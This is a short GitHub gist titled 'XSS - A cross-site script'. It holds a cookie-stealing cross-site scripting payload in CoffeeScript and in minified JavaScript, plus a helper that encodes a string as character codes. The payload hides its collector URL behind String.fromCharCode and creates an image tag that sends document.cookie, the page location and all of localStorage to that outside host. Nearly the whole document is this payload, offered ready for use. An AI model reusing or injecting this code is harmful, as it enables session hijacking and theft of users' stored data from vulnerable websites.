Skip to content

Instantly share code, notes, and snippets.

@dhilipsiva
Last active November 8, 2015 04:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dhilipsiva/11e385403416e43cc1e3 to your computer and use it in GitHub Desktop.
Save dhilipsiva/11e385403416e43cc1e3 to your computer and use it in GitHub Desktop.
XSS - A cross-site script
var chr, codes, i, len, str;
str = "text";
codes = [];
for (i = 0, len = str.length; i < len; i++) {
chr = str[i];
codes.push(chr.charCodeAt(0));
}
console.log(codes);
u = String.fromCharCode.apply this, []
d = document
i = d.createElement "img"
i.src = "#{u}?c=#{d.cookie}&l=#{escape location.toString()}&ls=#{JSON.stringify localStorage }"
d.body.appendChild i
var d,i,u;u=String.fromCharCode.apply(this,[]),d=document,i=d.createElement("img"),i.src=u+"?c="+d.cookie+"&l="+escape(location.toString())+"&ls="+JSON.stringify(localStorage),d.body.appendChild(i);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment